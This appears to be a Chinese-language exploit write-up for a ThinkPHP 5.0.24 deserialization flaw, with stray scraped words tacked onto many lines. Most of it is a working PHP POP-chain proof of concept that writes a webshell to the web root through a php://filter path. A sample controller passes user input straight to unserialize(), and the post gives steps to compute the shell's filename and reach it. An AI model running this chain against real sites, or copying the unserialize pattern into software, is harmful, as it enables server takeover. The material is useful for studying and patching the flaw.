由於寫入的文件名包含特殊符號,因此該漏洞只能在Linux中寫入webshell,不能在Windows系統寫入。這個漏洞的重點在於體會ThinkPHP的反序列化利用鏈。php
演示環境:html
Kali、ThinkPHP/5.0.24web
演示代碼:thinkphp
application/index/controller/Index.phpshell
<?php namespace appindexcontroller; class Index { public function index($input='') { echo "Welcome thinkphp 5.0.24"; echo $input; unserialize($input); } }
PoC:session
<?php //File類 namespace think\cache\driver; class File { // tag變量跟文件名有關
protected $tag='abcdef'; protected $options = [ 'expire' => 3600, 'cache_subdir' => false, 'prefix' => '',
// 寫入文件 'path' => 'php://filter/write=string.rot13/resource=./static/<?cuc cucvasb();?>', // 建立子目錄
/* 'path' => './static/3a6c45/', */ 'data_compress' => false, ]; } //Memcached類 namespace think\session\driver; use think\cache\driver\File; class Memcached { protected $handler = null; function __construct() { $this->handler=new File(); } } //Output類 namespace think\console; use think\session\driver\Memcached; class Output { protected $styles = ['removeWhereField']; private $handle = null; function __construct() { $this->handle=new Memcached(); } } //HasOne類 namespace think\model\relation; use think\console\Output; class HasOne { protected $query = false; function __construct() { $this->query=new Output(); } } //Pivot類 namespace think\model; use think\model\relation\HasOne; class Pivot { protected $append = ['getError']; protected $error = false; public function __construct() { $this->error=new HasOne(); } } //Windows類 namespace think\process\pipes; use think\model\Pivot; class Windows { private $files = []; public function __construct() { $this->files=[new Pivot()]; } } $x=new Windows(); echo str_replace('+', '%20', urlencode(serialize($x)));
webshell的寫入路徑爲:網站根目錄/public/static/<?cuc cucvasb();?>md5(‘tag_’+md5($tag))。app
如:$tag='abcdef',則文件名爲:md5('abcdef') -> e80b5017098950fc58aad83c8c14978e -> md5(‘tag_e80b5017098950fc58aad83c8c14978e’) -> <?cuc cucvasb();?>468bc8d30505000a2d7d24702b2cda94.phppost
訪問webshell時要對文件名進行URL編碼。網站
參考連接:this
《ThinkPHP v5.0.x 反序列化利用鏈挖掘》https://www.anquanke.com/post/id/196364
《ThinkPHP5.0.x反序列化利用鏈》https://xz.aliyun.com/t/7082
《ThinkPHP v5.0.x反序列化 Pop Chain復現(附POC)》https://drivertom.blogspot.com/2020/01/thinkphp-v50x-pop-chainpoc.html